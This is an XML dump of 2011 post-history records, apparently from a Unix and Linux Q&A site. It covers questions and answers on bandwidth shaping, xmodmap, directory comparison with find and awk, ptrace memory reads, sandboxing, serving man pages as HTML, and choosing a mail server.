  <row Id="21505" PostHistoryTypeId="5" PostId="8688" RevisionGUID="55698e91-fb87-42b2-b155-dbee262c1370" CreationDate="2011-03-11T07:26:10.960" UserId="73" Comment="added 21 characters in body; edited title" Text="There are 200 users in my network, and these users are in two AD groups and cannot set specific IP ranges for each group. I want to set, for each group, the amount of bandwidth that can be shared between users of groups.&#xD;&#xA;&#xD;&#xA;I can manage bandwidth for a IP with squid, and also with iptables+tc, but I want to set bandwidth for groups of IPs that share between users of that. How can I do that?" />
  <row Id="21506" PostHistoryTypeId="4" PostId="8688" RevisionGUID="55698e91-fb87-42b2-b155-dbee262c1370" CreationDate="2011-03-11T07:26:10.960" UserId="73" Comment="added 21 characters in body; edited title" Text="Sharing bandwidth between IPs" />
  <row Id="21507" PostHistoryTypeId="2" PostId="9059" RevisionGUID="ec6b420f-3501-4b6b-9e83-5fb036fda270" CreationDate="2011-03-11T07:28:50.030" UserId="5325" Text="I don't know off the top of my head if this is the cause of your problem, but in general application `*.desktop` files need to be in specific places to be fully recognized.  Try moving your `my-app.desktop` to `~/.local/share/applications/my-app.desktop` (create that directory first if needed:  `mkdir -p ~/.local/share/applications`).  If you used a full pathname to the `*.desktop` file, change it to just the basename; I don't think pathnames work as expected there." />
  <row Id="21508" PostHistoryTypeId="5" PostId="9058" RevisionGUID="d8dd9f4d-ab61-4290-9370-96afdf486b53" CreationDate="2011-03-11T07:36:35.467" UserId="1131" Comment="comparisons" Text="You can use `find` and `awk` to solve this.&#xD;&#xA;&#xD;&#xA;With following layout:&#xD;&#xA;&#xD;&#xA;    $ mkdir a b a/1 b/1 b/2 a/3&#xD;&#xA;    $ touch a/f1 b/f1 a/f2 b/f3&#xD;&#xA;&#xD;&#xA;Part one:&#xD;&#xA;&#xD;&#xA;    $ find a b -mindepth 1 -maxdepth 1 -type d | \&#xD;&#xA;        awk -F/ ' { if (!w[$1]) w[$1]=++i; if (w[$1]&gt;1) b[$2]=1; else a[$2]=1; }&#xD;&#xA;              END { for (x in a) if (!b[x]) print x }'&#xD;&#xA;    3&#xD;&#xA;&#xD;&#xA;Part two:&#xD;&#xA;&#xD;&#xA;    $ find b a -mindepth 1 -maxdepth 1 -type f | \&#xD;&#xA;        awk -F/ ' { if (!w[$1]) w[$1]=++i; if (w[$1]&gt;1) b[$2]=1; else a[$2]=1; }&#xD;&#xA;              END { for (x in a) if (!b[x]) print x }'&#xD;&#xA;    f3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This compares to a `comm` solution:&#xD;&#xA;&#xD;&#xA;    $ comm -23 &lt;(ls a) &lt;(ls b)    &#xD;&#xA;    3&#xD;&#xA;    f2&#xD;&#xA;    $ comm -13 &lt;(ls a) &lt;(ls b)&#xD;&#xA;    2&#xD;&#xA;    f3&#xD;&#xA;&#xD;&#xA;And to a `join` solution:&#xD;&#xA;&#xD;&#xA;    $ join -v1 &lt;(ls a) &lt;(ls b)&#xD;&#xA;    3&#xD;&#xA;    f2&#xD;&#xA;    $ join -v2 &lt;(ls a) &lt;(ls b)&#xD;&#xA;    2&#xD;&#xA;    f3&#xD;&#xA;" />
  <row Id="21509" PostHistoryTypeId="2" PostId="9060" RevisionGUID="83fe90b0-4602-4451-be6a-26b5eecaff48" CreationDate="2011-03-11T07:59:46.883" UserId="2421" Text="Swapping is what happens when the programs you're running allocate more memory than your machine's physical RAM.  Some of the data is swapped out to disk, and swapped back in when it's needed.&#xD;&#xA;&#xD;&#xA;This is ok as long as it doesn't happen too often.  Disk access is much slower than RAM access, so every time the computer has to swap, the program that caused it will have to pause while the data is transferred.&#xD;&#xA;&#xD;&#xA;Excessive swapping (also called thrashing) is what happens when the amount of memory the programs are actively using exceeds the amount of physical memory.  The computer spends all its time swapping data between disk and RAM, and little time actually accomplishing any work.&#xD;&#xA;&#xD;&#xA;In the article you mention, the problem was that too many Apache processes were forked.  Each process requires some memory, and if MaxClients is set too high, Apache will keep forking child processes until it brings the system to a crawl." />
  <row Id="21510" PostHistoryTypeId="25" PostId="9055" RevisionGUID="e59d9ca1-301a-42f2-bcf1-5b6e25bd5e82" CreationDate="2011-03-11T08:24:38.943" Comment="http://twitter.com/#!/StackUnix/status/46124359319957504" />
  <row Id="21511" PostHistoryTypeId="2" PostId="9061" RevisionGUID="57f04abc-85ad-43a4-8680-a0c79c6f05a7" CreationDate="2011-03-11T08:42:49.583" UserId="4995" Text="Hello,&#xD;&#xA;&#xD;&#xA;I need to apply a custom xmodmap for all users at the start. Where do I need to put it? I have thought at `/etc/rc.local`? Does this make sense?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21512" PostHistoryTypeId="1" PostId="9061" RevisionGUID="57f04abc-85ad-43a4-8680-a0c79c6f05a7" CreationDate="2011-03-11T08:42:49.583" UserId="4995" Text="Where to apply xmodmap for systemwide usage?" />
  <row Id="21513" PostHistoryTypeId="3" PostId="9061" RevisionGUID="57f04abc-85ad-43a4-8680-a0c79c6f05a7" CreationDate="2011-03-11T08:42:49.583" UserId="4995" Text="éxmodmapà" />
  <row Id="21514" PostHistoryTypeId="2" PostId="9062" RevisionGUID="f58bb39a-5f0e-4854-b80c-94e7219fff83" CreationDate="2011-03-11T08:47:30.663" UserId="5495" Text="I want to find the default handling applciation in my c program.&#xD;&#xA;Is that a C API with same function as &quot;xdg-mime query default mime-type&quot; on Linux?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Amanda" />
  <row Id="21515" PostHistoryTypeId="1" PostId="9062" RevisionGUID="f58bb39a-5f0e-4854-b80c-94e7219fff83" CreationDate="2011-03-11T08:47:30.663" UserId="5495" Text="Is that a glib C API that can find the default handing application for a MIME type on linux?" />
  <row Id="21516" PostHistoryTypeId="3" PostId="9062" RevisionGUID="f58bb39a-5f0e-4854-b80c-94e7219fff83" CreationDate="2011-03-11T08:47:30.663" UserId="5495" Text="élinuxàéubuntuà" />
  <row Id="21517" PostHistoryTypeId="6" PostId="9061" RevisionGUID="63d628d5-af4d-4b63-81ce-6b6477c65b94" CreationDate="2011-03-11T08:50:52.713" UserId="4995" Comment="edited tags" Text="érhelàéxmodmapà" />
  <row Id="21519" PostHistoryTypeId="5" PostId="9061" RevisionGUID="e5645a57-79f1-4c99-bef7-7cae374f3c99" CreationDate="2011-03-11T09:17:37.260" UserId="73" Comment="deleted 18 characters in body" Text="I need to apply a custom xmodmap for all users at the start. Where do I need to put it? I have thought at `/etc/rc.local`? Does this make sense?&#xD;&#xA;" />
  <row Id="21520" PostHistoryTypeId="5" PostId="9062" RevisionGUID="463879c9-0bff-4a5b-8211-20bdd9f73b36" CreationDate="2011-03-11T09:20:08.943" UserId="73" Comment="deleted 11 characters in body; edited title" Text="I want to find the default handling application in my C program. Is there a C API with same functionality as `xdg-mime query default mime-type` on Linux?&#xD;&#xA;" />
  <row Id="21521" PostHistoryTypeId="4" PostId="9062" RevisionGUID="463879c9-0bff-4a5b-8211-20bdd9f73b36" CreationDate="2011-03-11T09:20:08.943" UserId="73" Comment="deleted 11 characters in body; edited title" Text="Is there a glibc API that can find the default handing application for a MIME type on linux?" />
  <row Id="21524" PostHistoryTypeId="2" PostId="9064" RevisionGUID="20b3ccbd-e385-4bbc-966b-332777697190" CreationDate="2011-03-11T10:18:38.150" UserId="2671" Text="You have several paths that offer different job opportunities&#xD;&#xA;&#xD;&#xA;- web based stuff&#xD;&#xA;- native projects&#xD;&#xA;- cross platform development&#xD;&#xA;- porting to Linux&#xD;&#xA;&#xD;&#xA;In general be prepared to use other Unixes along with Linux (although Linux is totally dominating right now).&#xD;&#xA;&#xD;&#xA;**Web based**&#xD;&#xA;&#xD;&#xA;Pretty much anything web based that doesn't use .NET is Linux stuff (or cross-platform). You can concentrate on any of the widely used languages: PHP, Python, Perl, Ruby&#xD;&#xA;&#xD;&#xA;**Native projects**&#xD;&#xA;&#xD;&#xA;These are mostly open source or high-performance computing jobs.&#xD;&#xA;&#xD;&#xA;In Europe it is kind of common to hire a full-time programmer to modify an open-source project (and provide support) instead of paying insane licensing fees for commercial product that won't fit anyway.&#xD;&#xA;&#xD;&#xA;The high-performance area is sort of Linux only right now, therefore jobs in this area will most likely lead to Linux.&#xD;&#xA;&#xD;&#xA;**Cross platform development**&#xD;&#xA;&#xD;&#xA;Kind of odd area. There are some companies that provide cross-platform software, some have special teams for specific platforms, some have cross-platform teams.&#xD;&#xA;&#xD;&#xA;But many companies simply use Java (not that it helps much).&#xD;&#xA;&#xD;&#xA;**Porting to Linux**&#xD;&#xA;&#xD;&#xA;These jobs do pop up from time to time. Some company sees an open market and decides to expand. I personally would run away from such jobs." />
  <row Id="21525" PostHistoryTypeId="5" PostId="9064" RevisionGUID="72ec6861-e622-4b7b-b75d-da1732d3fe1d" CreationDate="2011-03-11T10:23:52.390" UserId="2671" Comment="added 72 characters in body" Text="You have several paths that offer different job opportunities&#xD;&#xA;&#xD;&#xA;- web based stuff&#xD;&#xA;- native projects&#xD;&#xA;- cross platform development&#xD;&#xA;- porting to Linux&#xD;&#xA;&#xD;&#xA;In general be prepared to use other Unixes along with Linux (although Linux is totally dominating right now).&#xD;&#xA;&#xD;&#xA;**Web based**&#xD;&#xA;&#xD;&#xA;Pretty much anything web based that doesn't use .NET is Linux stuff (or cross-platform). You can concentrate on any of the widely used languages: PHP, Python, Perl, Ruby&#xD;&#xA;&#xD;&#xA;**Native projects**&#xD;&#xA;&#xD;&#xA;These are mostly open source or high-performance computing jobs.&#xD;&#xA;&#xD;&#xA;In Europe it is kind of common to hire a full-time programmer to modify an open-source project (and provide support) instead of paying insane licensing fees for commercial product that won't fit anyway.&#xD;&#xA;&#xD;&#xA;The high-performance area is sort of Linux only right now, therefore jobs in this area will most likely lead to Linux.&#xD;&#xA;&#xD;&#xA;This area is very C heavy, with a little bit of C++ and lot of Java.&#xD;&#xA;&#xD;&#xA;**Cross platform development**&#xD;&#xA;&#xD;&#xA;Kind of odd area. There are some companies that provide cross-platform software, some have special teams for specific platforms, some have cross-platform teams.&#xD;&#xA;&#xD;&#xA;But many companies simply use Java (not that it helps much).&#xD;&#xA;&#xD;&#xA;**Porting to Linux**&#xD;&#xA;&#xD;&#xA;These jobs do pop up from time to time. Some company sees an open market and decides to expand. I personally would run away from such jobs." />
  <row Id="21526" PostHistoryTypeId="5" PostId="9057" RevisionGUID="3f6557d1-7cd7-4041-abb3-a151de7797dc" CreationDate="2011-03-11T10:35:13.857" UserId="4671" Comment="edited body" Text="This has been suggested numerous times before in this context, but... I'd suggest getting some experience in a free software project. This looks good on your resume, is valuable experience working with good people, and is useful for contacts. People regularly get jobs through free software projects. My impression (which may be incorrect) is also that it is not common for Indians to involve themselves in free software projects, and if true, that would help you stand out. You say you are interested in Python. There are lots of free software projects involving Python, with various levels of barrier to entry. One that I am familar with is Mercurial, where the barrier to entry is not too hard, the community is friendly, the programmers are talented, and there are opportunities for participation. And everybody uses version control. You could pick up some small bite-sized bug and/or wishlist feature and work on it. Other projects off the top of my head are Django, Pylons, Sqlalchemy, though I think Mercurial is as good or better than any of these from the POV of opportunity for participation. Another possibility is Linux community distribution work, eg. with Debian, which will also give you the opportunity of working with talented people. Also good for making contacts etc. Also, if you are interested in C++, the apt and aptitude projects in Debian are important and severely undermanned. In general, most free software projects don't have enough manpower, particularly the smaller ones, and are eager for assistance. HTH." />
  <row Id="21527" PostHistoryTypeId="2" PostId="9065" RevisionGUID="4b233975-96c6-47ac-8fc9-9e40001cd4bf" CreationDate="2011-03-11T10:51:43.527" UserId="250" Text="I don't have experience with `xmodmap`, but you can always make a `.xmodmaprc` file and put it in `/etc/skel`. The file will be copied to all new users' home, thus applying the settings." />
  <row Id="21528" PostHistoryTypeId="25" PostId="9050" RevisionGUID="6fb3d46d-e264-434b-ab83-d264f1b91985" CreationDate="2011-03-11T11:24:38.590" Comment="http://twitter.com/#!/StackUnix/status/46169656314167296" />
  <row Id="21529" PostHistoryTypeId="2" PostId="9066" RevisionGUID="e42094b5-cc45-4889-931e-1668f5a30515" CreationDate="2011-03-11T11:39:22.020" UserId="4319" Text="But well, of course, the desired &quot;jail&quot; guarantees are implementable by programming in user-space; with more or less complications.&#xD;&#xA;&#xD;&#xA;The mentioned `ptrace`- or `seccomp`-based sandboxing can be seen as some variants of implementing the guarantees by writing a sandbox-helper that would control your other processes, which would be treated as &quot;black boxes&quot;, arbitrary Unix programs.&#xD;&#xA;&#xD;&#xA;Another approach could be to use programming techniques that can care about the effects that must be disallowed. (It must be you who writes the programs then; they are not black boxes anymore.) To mention one, using a **pure programming language** (which would force you to program without side-effects) like [Haskell](http://en.wikipedia.org/wiki/Haskell_(programming_language)#Features) will simply make all the effects of the program explicit, so the programmer can easily make sure there will be no disallowed effects.&#xD;&#xA;&#xD;&#xA;I guess, there are sandboxing facilities available for those programming in some other language, e.g., Java." />
  <row Id="21530" PostHistoryTypeId="5" PostId="9066" RevisionGUID="a6ffbcb1-348a-4781-afb1-ba760d7c284d" CreationDate="2011-03-11T11:52:18.343" UserId="4319" Comment="Make my point clearer about OS design" Text="But well, of course, the desired &quot;jail&quot; guarantees are implementable by programming in user-space (without additional support for this feature from the OS; maybe that's why this feature hasn't been included in the first place in the design of OSes); with more or less complications.&#xD;&#xA;&#xD;&#xA;The mentioned `ptrace`- or `seccomp`-based sandboxing can be seen as some variants of implementing the guarantees by writing a sandbox-helper that would control your other processes, which would be treated as &quot;black boxes&quot;, arbitrary Unix programs.&#xD;&#xA;&#xD;&#xA;Another approach could be to use programming techniques that can care about the effects that must be disallowed. (It must be you who writes the programs then; they are not black boxes anymore.) To mention one, using a **pure programming language** (which would force you to program without side-effects) like [Haskell](http://en.wikipedia.org/wiki/Haskell_(programming_language)#Features) will simply make all the effects of the program explicit, so the programmer can easily make sure there will be no disallowed effects.&#xD;&#xA;&#xD;&#xA;I guess, there are sandboxing facilities available for those programming in some other language, e.g., Java." />
  <row Id="21531" PostHistoryTypeId="2" PostId="9067" RevisionGUID="c9d5360d-1c61-455d-b56f-6ee554c98fe5" CreationDate="2011-03-11T12:31:07.707" UserId="5620" Text="I've fixed this now.&#xD;&#xA;&#xD;&#xA;Firstly, I **didn't** install squeeze with the default GNOME desktop environment. I mis-remembered. What I did was install the base system, and then install the gnome-desktop-environment package, aiming for a [lighter/closer-to-upstream set of packages][1].&#xD;&#xA;&#xD;&#xA;Now, completely unscientifically, I did two things in one go to fix this, so I don't know for sure which did it. I decided to install [Debian's GNOME desktop task][1] (`tasksel install gnome-desktop --new-install`). I thought that maybe, somehow, gnome-desktop-environment didn't pull in the right packages to enable this functionality. In retrospect, I think that's unlikely.&#xD;&#xA;&#xD;&#xA;Next, I restarted the machine. I was sure I had restarted the machine after installing gnome-desktop-environment, but now I think I hadn't. So presumably, some services weren't working properly, or something like that.&#xD;&#xA;&#xD;&#xA;After restarting, things worked exactly as I wanted - USB storage devices were being mounted automatically, at /media/&lt;device UUID&gt;, which is great.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/Gnome" />
  <row Id="21532" PostHistoryTypeId="2" PostId="9068" RevisionGUID="0361a426-841d-43b6-a366-4c66f904f295" CreationDate="2011-03-11T12:51:17.153" UserId="5632" Text="&gt; `ptrace`'s interface allows you to read only one word at a time, and I'm trying to scan a larger portions of the stack&#xD;&#xA;&#xD;&#xA;Well, just use a loop, then. I honestly don't see how that constitutes a problem with `ptrace`, I use it all the time to remotely access processes.&#xD;&#xA;&#xD;&#xA;I use something like this:&#xD;&#xA;&#xD;&#xA;    static int memcpy_from_target(pid_t pid, char *dest, long src, size_t n)&#xD;&#xA;    {&#xD;&#xA;        static int const align = sizeof(long) - 1;&#xD;&#xA;&#xD;&#xA;        while (n)&#xD;&#xA;        {&#xD;&#xA;            size_t todo = MIN(n, sizeof(long) - (src &amp; align));&#xD;&#xA;            long data = ptrace(PTRACE_PEEKTEXT, pid, src - (src &amp; align), 0);&#xD;&#xA;            if (errno)&#xD;&#xA;            {&#xD;&#xA;                perror(&quot;ptrace_peektext (memcpy_from_target)&quot;);&#xD;&#xA;                return -1;&#xD;&#xA;            }&#xD;&#xA;            memcpy(dest, (char *)&amp;data + (src &amp; align), todo);&#xD;&#xA;&#xD;&#xA;            dest += todo; src += todo; n -= todo;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        return 0;&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="21533" PostHistoryTypeId="2" PostId="9069" RevisionGUID="5192d7e3-5de9-41ce-85de-d52ddbf4a498" CreationDate="2011-03-11T13:01:15.647" UserId="2235" Text="I am running a 2.6.37 kernel with `sched_autogroup_enabled` set to 1. I am not certain that I am seeing the benefits of this patch since:&#xD;&#xA;&#xD;&#xA;- I am launching my applications from the desktop;&#xD;&#xA;- applications launched from the desktop share the same tty;&#xD;&#xA;- applications with the same tty do not benefit from the mentioned kernel feature.&#xD;&#xA;&#xD;&#xA;How can I select some applications which should be on a different tty from the rest?" />
  <row Id="21534" PostHistoryTypeId="1" PostId="9069" RevisionGUID="5192d7e3-5de9-41ce-85de-d52ddbf4a498" CreationDate="2011-03-11T13:01:15.647" UserId="2235" Text="Benefiting of sched_autogroup_enabled on the desktop" />
  <row Id="21535" PostHistoryTypeId="3" PostId="9069" RevisionGUID="5192d7e3-5de9-41ce-85de-d52ddbf4a498" CreationDate="2011-03-11T13:01:15.647" UserId="2235" Text="élinuxàékernelàédesktopà" />
  <row Id="21536" PostHistoryTypeId="4" PostId="6433" RevisionGUID="e00192cd-c7d6-410c-894b-0147f07c527a" CreationDate="2011-03-11T13:04:42.250" UserId="4319" Comment="A short and clear wording: root is available neither for starting the processes, nor for setting up the jail." Text="How to &quot;jail&quot; a process without being root?" />
  <row Id="21537" PostHistoryTypeId="24" PostId="6433" RevisionGUID="e00192cd-c7d6-410c-894b-0147f07c527a" CreationDate="2011-03-11T13:04:42.250" Comment="Proposed by 4319 approved by 29 edit id of 198" />
  <row Id="21538" PostHistoryTypeId="5" PostId="6538" RevisionGUID="8b2fb95f-7538-433d-8b16-a107c9c71cbb" CreationDate="2011-03-11T13:20:32.167" UserId="4041" Comment="added 201 characters in body" Text="On my desktop Xorg leaks a lot of memory. I use to let this machine on for days (weeks, months ...), but about once a week I'm forced to restart xorg, because it is taking too much memory.&#xD;&#xA;&#xD;&#xA;Am I the only one affected by this issue? Why does this is happen?  &#xD;&#xA;Is it xorg to be _bugged_, or is it something else (maybe some xorg modules)?  &#xD;&#xA;Can I do anything to avoid it?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Some more infos:&#xD;&#xA;&#xD;&#xA;I'm on ArchLinux, kernel 2.6.36, nvidia drivers 260.19.36, gnome 2.32.1.&#xD;&#xA;&#xD;&#xA;Anyway I've got this issue from a lot of time, like more than one year.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is how the Xorg process is shown by top after about 9 days of uptime...&#xD;&#xA;&#xD;&#xA;     PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND&#xD;&#xA;    1591 root      20   0  278m 229m 9364 S    2 11.8 244:38.73 Xorg&#xD;&#xA;&#xD;&#xA;I've got only a few open windows. 229MB of resident memory looks like a lot to me (and it will keep growing with time). As soon as I reboot Xorg I'll also add process stats at the beginning of its life.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is as soon as my Gnome desktop gets up:&#xD;&#xA;&#xD;&#xA;     PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND&#xD;&#xA;     1573 root      20   0 89508  43m  11m S    1  2.2   0:03.53 Xorg" />
  <row Id="21539" PostHistoryTypeId="2" PostId="9070" RevisionGUID="211392d5-ddda-41d4-8ab7-6c54d7bc17fa" CreationDate="2011-03-11T13:53:15.593" UserId="3976" Text="I don't believe there's a C API for querying mime-types in the same way that xdg-mime works.  xdg-mime is just a shell script that queries your desktop environment (Gnome, KDE, or other), and runs the appropriate command to get the MIME type from that DE's internal configuration.&#xD;&#xA;&#xD;&#xA;You could replicate the behaviour of the shell script, or just call the shell script directly from C.  The [XDG Utils web page][1] doesn't seem to show anything about a C API.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://portland.freedesktop.org/wiki/" />
  <row Id="21540" PostHistoryTypeId="2" PostId="9071" RevisionGUID="2ac2fcf4-29b0-43df-a351-1f0b99dc2466" CreationDate="2011-03-11T14:04:17.563" UserId="3976" Text="`/etc/rc.local` won't work for this situation, because xmodmap requires an X server to talk to. &#xD;&#xA;&#xD;&#xA;I know that /etc/X11/Xmodmap is part of the xorg-x11-xinit package on RHEL and Fedora, so make your changes there.  They will be used when any new X session starts." />
  <row Id="21541" PostHistoryTypeId="2" PostId="9072" RevisionGUID="11eaf897-e354-425d-a150-a2a2c580b477" CreationDate="2011-03-11T14:06:03.227" UserId="5462" Text="What tools exist to make man pages available on a system available via HTTP and link topics together such that references in the `SEE ALSO` sections and elsewhere will become hyperlinks in the HTML representation of the man pages?&#xD;&#xA;&#xD;&#xA;I'm using Debian (6) and Ubuntu (10.04, 10.10) currently, so existing packages would be preferred, but I'll also go for any other solutions if they are clearly superior." />
  <row Id="21542" PostHistoryTypeId="1" PostId="9072" RevisionGUID="11eaf897-e354-425d-a150-a2a2c580b477" CreationDate="2011-03-11T14:06:03.227" UserId="5462" Text="What tools allow me to present man pages as formatted HTML on a web server?" />
  <row Id="21543" PostHistoryTypeId="3" PostId="9072" RevisionGUID="11eaf897-e354-425d-a150-a2a2c580b477" CreationDate="2011-03-11T14:06:03.227" UserId="5462" Text="éubuntuàédebianàémanàéhttpàéhtmlà" />
  <row Id="21544" PostHistoryTypeId="2" PostId="9073" RevisionGUID="99266099-11c1-4cb4-aa3d-1c042bb0481d" CreationDate="2011-03-11T14:16:04.273" UserId="4595" Text="The debian package `dwww` give access to all the documentation installed by the packages, included the manual pages.&#xD;&#xA;&#xD;&#xA;After installing the package with your favorite package manager, you will be able to browse the local documentation with your navigator on `http://localhost/dwww/`.&#xD;&#xA;&#xD;&#xA;By default, access to this URL is restricted to local connections but you can change this restriction in the configuration file `/etc/dwww/apache.conf` (don't forget to reload apache after changing something in this file)." />
  <row Id="21545" PostHistoryTypeId="17" PostId="9075" RevisionGUID="ffeb28bb-d6a2-44c3-acc8-15b1ffad1d1d" CreationDate="2011-03-11T14:20:50.123" UserId="-1" Comment="from http://stackoverflow.com/questions/5272794/how-to-determine-if-two-devices-are-connected-in-network/5272815#5272815" Text="" />
  <row Id="21546" PostHistoryTypeId="17" PostId="9076" RevisionGUID="ba68f2e8-147b-43de-8634-91a80d431885" CreationDate="2011-03-11T14:20:50.123" UserId="-1" Comment="from http://stackoverflow.com/questions/5272794/how-to-determine-if-two-devices-are-connected-in-network/5273604#5273604" Text="" />
  <row Id="21547" PostHistoryTypeId="2" PostId="9075" RevisionGUID="29b6c3e5-2d5d-4699-b094-7418b679c6c2" CreationDate="2011-03-11T12:21:42.500" UserDisplayName="larsmans" Text="`traceroute` may be a good start: it shows you the number of hops between your own host and a remote. I don't know of a way to get this kind of info for a pair of remotes, except by running `traceroute` on one of them." />
  <row Id="21548" PostHistoryTypeId="2" PostId="9076" RevisionGUID="7e5b1be4-320b-4753-8faf-ffa1d78c702c" CreationDate="2011-03-11T13:38:54.117" UserDisplayName="eater" Text="If your device list includes IP addresses and netmasks, you could create a basic layer 3 graph by creating a vertex for each subnet, a vertex for each device, and an edge between each (subnet, device) in your device list.&#xD;&#xA;&#xD;&#xA;This will result in a pure layer-3 topology which probably isn't a bad start. Also if your network is somewhat complex, this won't work too well. For example, if you have duplicate or overlapping subnets (perhaps with NAT or MPLS VPNs), the assumption that all devices within a particular IP range are connected may not be true." />
  <row Id="21549" PostHistoryTypeId="2" PostId="9074" RevisionGUID="8c6ad301-7fcd-4512-87a0-71c151b2ae6a" CreationDate="2011-03-11T12:19:11.107" UserDisplayName="kungfucsiga" Text="Is there a free linux softwear to determine if two network devices are connected?&#xD;&#xA;Or a php class can be also good...&#xD;&#xA;&#xD;&#xA;I'd like to draw the network topology. I can determine the devices in the network with zenmap (it saves the results to file), but I don't know which device connected to which device... &#xD;&#xA;(zenmap can also draw topology, but it doesn't save it to file)&#xD;&#xA;" />
  <row Id="21550" PostHistoryTypeId="1" PostId="9074" RevisionGUID="8c6ad301-7fcd-4512-87a0-71c151b2ae6a" CreationDate="2011-03-11T12:19:11.107" UserDisplayName="kungfucsiga" Text="How to determine if two devices are connected in network?" />
  <row Id="21551" PostHistoryTypeId="3" PostId="9074" RevisionGUID="8c6ad301-7fcd-4512-87a0-71c151b2ae6a" CreationDate="2011-03-11T12:19:11.107" UserDisplayName="kungfucsiga" Text="énetworkingà" />
  <row Id="21552" PostHistoryTypeId="17" PostId="9074" RevisionGUID="b63e9526-4696-4ccd-a0f6-fecf364a5012" CreationDate="2011-03-11T14:20:50.123" UserId="-1" Comment="from http://stackoverflow.com/questions/5272794/how-to-determine-if-two-devices-are-connected-in-network" Text="" />
  <row Id="21553" PostHistoryTypeId="25" PostId="9072" RevisionGUID="324e9486-d37c-4b17-bcd2-3b3fd7328f64" CreationDate="2011-03-11T14:24:38.840" Comment="http://twitter.com/#!/StackUnix/status/46214955959189504" />
  <row Id="21554" PostHistoryTypeId="2" PostId="9077" RevisionGUID="fb81788f-82ad-4c31-abf8-a950e8966c53" CreationDate="2011-03-11T14:36:45.287" UserId="5589" Text="Hello!&#xD;&#xA;&#xD;&#xA;My company wants to migrate the current mail server into a Cloud Server Provider. The Provider is the IaaS (Infrastructure as a Service) kind, not SaaS (Software as a Service). That means I have to install the OS + MTA myself.&#xD;&#xA;&#xD;&#xA;I'd really appreciate it if you can give me a guidance, pro/con analysis, experience, etc. on the following combinations:&#xD;&#xA;&#xD;&#xA; - Exim on Gentoo Linux&#xD;&#xA; - Postfix on Gentoo Linux&#xD;&#xA; - Exim on FreeBSD&#xD;&#xA; - Postfix on FreeBSD&#xD;&#xA; - (other MTA)* on Gentoo Linux/FreeBSD&#xD;&#xA;&#xD;&#xA;*Please do not suggest **sendmail** and/or **qmail**.&#xD;&#xA;&#xD;&#xA;Thank you all for your kind assistance.&#xD;&#xA;" />
  <row Id="21555" PostHistoryTypeId="1" PostId="9077" RevisionGUID="fb81788f-82ad-4c31-abf8-a950e8966c53" CreationDate="2011-03-11T14:36:45.287" UserId="5589" Text="Cloud Server: Which MTA (exim/postfix/etc.) on What OS (Linux/FreeBSD)" />
  <row Id="21556" PostHistoryTypeId="3" PostId="9077" RevisionGUID="fb81788f-82ad-4c31-abf8-a950e8966c53" CreationDate="2011-03-11T14:36:45.287" UserId="5589" Text="élinuxàéfreebsdàémailà" />
  <row Id="21557" PostHistoryTypeId="2" PostId="9078" RevisionGUID="234d3769-d0d4-4f5d-81b0-c76caf8cbf64" CreationDate="2011-03-11T14:47:03.627" UserId="3976" Text="I'd steer you away from Gentoo as a server OS, simply because it's not exactly known as a stable platform with rigorous testing.  If you want to use Linux, try one of the long-term support options from Ubuntu, Debian, CentOS, RHEL or SuSE.&#xD;&#xA;&#xD;&#xA;FreeBSD has postfix and exim in ports, although it has sendmail as it's default MTA so you'll find most of the MTA documentation for FreeBSD focuses mostly on Sendmail, but that doesn't mean that it's impossible to use Exim or Postfix.&#xD;&#xA;&#xD;&#xA;Also, be careful about your Cloud service provider.  I've heard nightmares of people setting up a server in the Cloud only to find the entire IP subnet blacklisted by popular DNS blacklists because the cloud provider also has customers who send spam." />
  <row Id="21558" PostHistoryTypeId="2" PostId="9079" RevisionGUID="5b1f9869-de5d-47b9-84db-f413232fbbdc" CreationDate="2011-03-11T14:58:39.243" UserId="3976" Text="I can see two ways of solving this:&#xD;&#xA;&#xD;&#xA; 1. Set up multiple X sessions on tty2 through ttyN, all of which by default start the `virt-manager` and connect to the appropriate virtual machine, and run the console full screen.&#xD;&#xA; 2. Enable XDMCP in GDM on the virtual machines, allowing connections over the VM's private subnet. Set up multiple X sessions on tty2 through ttyN, setting them use XDMCP to connect to the appropriate VM's X server." />
  <row Id="21559" PostHistoryTypeId="5" PostId="9057" RevisionGUID="044afadd-7098-4c9f-abc6-bb46cfe22f71" CreationDate="2011-03-11T15:07:55.067" UserId="-1" Comment="Added some whitespace for clarity" Text="This has been suggested numerous times before in this context, but... I'd suggest getting some experience in a free software project. This looks good on your resume, is valuable experience working with good people, and is useful for contacts. People regularly get jobs through free software projects. My impression (which may be incorrect) is also that it is not common for Indians to involve themselves in free software projects, and if true, that would help you stand out. &#xD;&#xA;&#xD;&#xA;You say you are interested in Python. There are lots of free software projects involving Python, with various levels of barrier to entry. One that I am familar with is Mercurial, where the barrier to entry is not too hard, the community is friendly, the programmers are talented, and there are opportunities for participation. And everybody uses version control. You could pick up some small bite-sized bug and/or wishlist feature and work on it. &#xD;&#xA;&#xD;&#xA;Other projects off the top of my head are Django, Pylons, Sqlalchemy, though I think Mercurial is as good or better than any of these from the POV of opportunity for participation. Another possibility is Linux community distribution work, eg. with Debian, which will also give you the opportunity of working with talented people. Also good for making contacts etc. Also, if you are interested in C++, the apt and aptitude projects in Debian are important and severely undermanned. In general, most free software projects don't have enough manpower, particularly the smaller ones, and are eager for assistance. HTH." />
  <row Id="21560" PostHistoryTypeId="24" PostId="9057" RevisionGUID="044afadd-7098-4c9f-abc6-bb46cfe22f71" CreationDate="2011-03-11T15:07:55.067" Comment="Proposed by 69.70.171.138|f9c780c7-7d1a-4512-a7fd-13bb4800f20b approved by 73 edit id of 199" />
